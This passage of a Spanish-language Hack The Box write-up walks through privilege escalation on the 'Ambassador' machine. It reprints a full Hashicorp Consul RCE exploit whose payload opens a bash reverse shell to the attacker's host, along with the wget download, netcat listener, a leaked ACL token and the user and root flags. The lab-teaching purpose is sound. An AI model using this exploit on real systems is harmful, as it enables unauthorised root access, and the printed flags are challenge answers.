Ya tendriamos acceso al usuario "developer" mediante SSH

3.1 Obtención de la flag de usuario

Una vez obtenemos acceso al usuario "developer" mediante SSH, vamos a listar los directorios:

developer@ambassador:~$ ls
snap  user.txt

Ahi esta la flag "user.txt", vamos a hacerle un cat

developer@ambassador:~$ ls
snap  user.txt
developer@ambassador:~$ cat user.txt 
3f43db9adc3f190de4ef0c6e10443ce4
developer@ambassador:~$ 

4- Escalado de privilegios

Nos vamos a ir a la carpeta /opt/ y vamos a listar los directorios:

developer@ambassador:~$ cd /opt/
developer@ambassador:/opt$ ls
consul  my-app
developer@ambassador:/opt$ 

Vemos que hay un directorio llamado "consul" y otro llamado "my-app", por lo que tiene todo el sentido del mundo que el usuario al llamarse "developer" y una carpeta llamada "my-app", puede que sea una aplicación del desarrollador

Tambien podemos ver la carpeta "consul", que parece ser archivos necesarios para que funcione esta aplicación

4.1 Searchsploit consul

Vamos a buscar en Searchsploit la palabra clave "consul", referente a la carpeta que encontramos dentro del usuario "developer":

❯ searchsploit consul
------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                   |  Path
------------------------------------------------------------------------------------------------- ---------------------------------
Hashicorp Consul - Remote Command Execution via Rexec (Metasploit)                               | linux/remote/46073.rb
Hashicorp Consul - Remote Command Execution via Services API (Metasploit)                        | linux/remote/46074.rb
Hashicorp Consul v1.0 - Remote Command Execution (RCE)                                           | multiple/remote/51117.txt
Hassan Consulting Shopping Cart 1.18 - Directory Traversal                                       | cgi/remote/20281.txt
Hassan Consulting Shopping Cart 1.23 - Arbitrary Command Execution                               | cgi/remote/21104.pl
PHPLeague 0.81 - '/consult/miniseul.php?cheminmini' Remote File Inclusion                        | php/webapps/28864.txt
------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Nos encontramos con vulnerabilidades RCE(Remote Command Execution)

4.2 Git log a la aplicación del usuario developer

Vamos a irnos dentro de la carpeta "my-app" que habiamos encontrado y vamos a ejecutar el comando "git log" para ver el historial de commits que tiene esta aplicación:

developer@ambassador:/opt$ cd my-app/
developer@ambassador:/opt/my-app$ git log
commit 33a53ef9a207976d5ceceddc41a199558843bf3c (HEAD -> main)
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 23:47:36 2022 +0000

    tidy config script

commit c982db8eff6f10f8f3a7d802f79f2705e7a21b55
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 23:44:45 2022 +0000

    config script

commit 8dce6570187fd1dcfb127f51f147cd1ca8dc01c6
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 22:47:01 2022 +0000

    created project with django CLI

commit 4b8597b167b2fbf8ec35f992224e612bf28d9e51
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 22:44:11 2022 +0000

    .gitignore
developer@ambassador:/opt/my-app$ 

4.3 Git show a los commits de la aplicación del usuario developer

Vemos que nos da diferentes commits realizado por el desarrollador, concretamente nos interesa el primer commit, vamos a utilizar el comando "git show {Token commit}" para ver que nos encuentra en este commit de GitHub, el comando quedaria así:

git show 33a53ef9a207976d5ceceddc41a199558843bf3c

Ejecutamos:

developer@ambassador:/opt/my-app$ git show 33a53ef9a207976d5ceceddc41a199558843bf3c
commit 33a53ef9a207976d5ceceddc41a199558843bf3c (HEAD -> main)
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 23:47:36 2022 +0000

    tidy config script

diff --git a/whackywidget/put-config-in-consul.sh b/whackywidget/put-config-in-consul.sh
index 35c08f6..fc51ec0 100755
--- a/whackywidget/put-config-in-consul.sh
+++ b/whackywidget/put-config-in-consul.sh
@@ -1,4 +1,4 @@
 # We use Consul for application config in production, this script will help set the correct values for the app
-# Export MYSQL_PASSWORD before running
+# Export MYSQL_PASSWORD and CONSUL_HTTP_TOKEN before running
 
-consul kv put --token bb03b43b-1d81-d62b-24b5-39540ee469b5 whackywidget/db/mysql_pw $MYSQL_PASSWORD
+consul kv put whackywidget/db/mysql_pw $MYSQL_PASSWORD
developer@ambassador:/opt/my-app$ 

Nos da información sobre el commit, y tambien vemos que hay cambios dentro del script hecho en Bash llamado "put-config-in-consul.sh", por lo que el nombre refiere a que esta utilizando una aplicación o un servicio llamado "consul", como podemos ver, resulto util la busqueda en Searchsploit de la palabra clave "consul", vamos a utilizar un exploit para "consul", tambien podemos ver un token

Token: bb03b43b-1d81-d62b-24b5-39540ee469b5

4.4 RCE(Remote Command Execution) de "consul"

Podemos utilizar cualquier exploit que nos dio Searchsploit o podemos utilizar alguno que se encuentre dentro de GitHub, en mi caso utilizare uno que encontre en ExploitDB:

# Exploit Title: Hashicorp Consul v1.0 - Remote Command Execution (RCE)
# Date: 26/10/2022
# Exploit Author: GatoGamer1155, 0bfxgh0st
# Vendor Homepage: https://www.consul.io/
# Description: Exploit for gain reverse shell on Remote Command Execution via API
# References: https://www.consul.io/api/agent/service.html
# Tested on: Ubuntu Server
# Software Link: https://github.com/hashicorp/consul

import requests, sys

if len(sys.argv) < 6:
    print(f"\n[\033[1;31m-\033[1;37m] Usage: python3 {sys.argv[0]} <rhost> <rport> <lhost> <lport> <acl_token>\n")
    exit(1)

target = f"http://{sys.argv[1]}:{sys.argv[2]}/v1/agent/service/register"
headers = {"X-Consul-Token": f"{sys.argv[5]}"}
json = {"Address": "127.0.0.1", "check": {"Args": ["/bin/bash", "-c", f"bash -i >& /dev/tcp/{sys.argv[3]}/{sys.argv[4]} 0>&1"], "interval": "10s", "Timeout": "864000s"}, "ID": "gato", "Name": "gato", "Port": 80}

try:
    requests.put(target, headers=headers, json=json)
    print("\n[\033[1;32m+\033[1;37m] Request sent successfully, check your listener\n")
except:
    print("\n[\033[1;31m-\033[1;37m] Something went wrong, check the connection and try again\n")

Nos bajamos el archivo .py del exploit desde ExploitDB con curl:

❯ curl https://www.exploit-db.com/raw/51117 -o rce_ambassador.py
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2178  100  2178    0     0  19815      0 --:--:-- --:--:-- --:--:-- 19981

Nos lo guardaria con el nombre de "rce_ambassador.py"

Vamos a abrir un servidor web con Python donde tengamos el exploit, para bajarnos el exploit a nuestra maquina victima desde SSH con el usuario "developer":

❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Y para bajarnos el exploit a la maquina victima utilizaremos "wget":

wget http://10.10.14.12/rce_ambassador.py 

(En mi caso la IP que me asigno Hack The Box es 10.10.14.12)

Pero antes de realizar la descarga del exploit con el usuario developer mediante SSH, tenemos que movernos al directorio "/tmp/" o mas conocido como directorio temporal, donde si tenemos permisos de escritura para utilizar el comando "wget" para bajarnos el exploit:

developer@ambassador:/opt/my-app$ cd /tmp/
developer@ambassador:/tmp$ wget http://10.10.14.12/rce_ambassador.py 
--2025-02-22 03:16:38--  http://10.10.14.12/rce_ambassador.py
Connecting to 10.10.14.12:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2178 (2.1K) [text/x-python]
Saving to: ‘rce_ambassador.py’

rce_ambassador.py       100%[============================>]   2.13K  --.-KB/s    in 0.007s  

2025-02-22 03:16:39 (317 KB/s) - ‘rce_ambassador.py’ saved [2178/2178]

developer@ambassador:/tmp$ 

Ahora ya descargado el exploit en la maquina victima, vamos a ponernos en escucha con netcat por el puerto 443 dentro de nuestro Kali:

❯ nc -nlvp 443
listening on [any] 443 ...

Ahora vamos a irnos a la shell donde teniamos acceso a SSH con el usuario developer y vamos a ejecutar el script de Python que utilizare, en mi caso se llama "rce_ambassador.py", lo ejecutaremos con el menu de ayuda utilizando la flag o el parametro "--help":

developer@ambassador:/tmp$ python3 rce_ambassador.py --help

[-] Usage: python3 rce_ambassador.py <rhost> <rport> <lhost> <lport> <acl_token>

developer@ambassador:/tmp$ 

Como podemos ver, la ejecución de este exploit se haria de la siguiente manera:

python3 rce_ambassador.py {IP Remota} {Puerto Remoto} {IP Kali} {Puerto netcat kali} {Token}

Vamos a ejecutar con mis parametros definidos:

developer@ambassador:/tmp$ python3 rce_ambassador.py 127.0.0.1 8500 10.10.14.12 443 bb03b43b-1d81-d62b-24b5-39540ee469b5

[+] Request sent successfully, check your listener

developer@ambassador:/tmp$ 

Si vamos a la consola donde teniamos netcat escuchando por el puerto 443:

❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.183] 53996
bash: cannot set terminal process group (2531): Inappropriate ioctl for device
bash: no job control in this shell
root@ambassador:/# 

Ya somos usuarios root, hagamos un "whoami":

root@ambassador:/# whoami
whoami
root
root@ambassador:/# 

4.5 Obtención de la flag root

Vemos que estamos en la carpeta raiz del sistema linux, ahora vamos a ir a la carpeta personal del usuario root y listamos los directorios:

root@ambassador:/# cd root
cd root
root@ambassador:~# ls
ls
cleanup.sh
root.txt
snap
root@ambassador:~# 

Ahi esta la flag de root, ahora vamos a hacerle un "cat" para visualizarla:

root@ambassador:~# cat root.txt
cat root.txt
8bb69a3c3b4c18b696161ddbb8119cc3
root@ambassador:~# 

Con esto, concluimos la maquina "Ambassador" de Hack The Box

Espero te haya sido de ayuda este Write Up :)

Si tuviste alguna dificultad a la hora de resolverlo, no olvides contactarme en mis redes sociales

Última actualización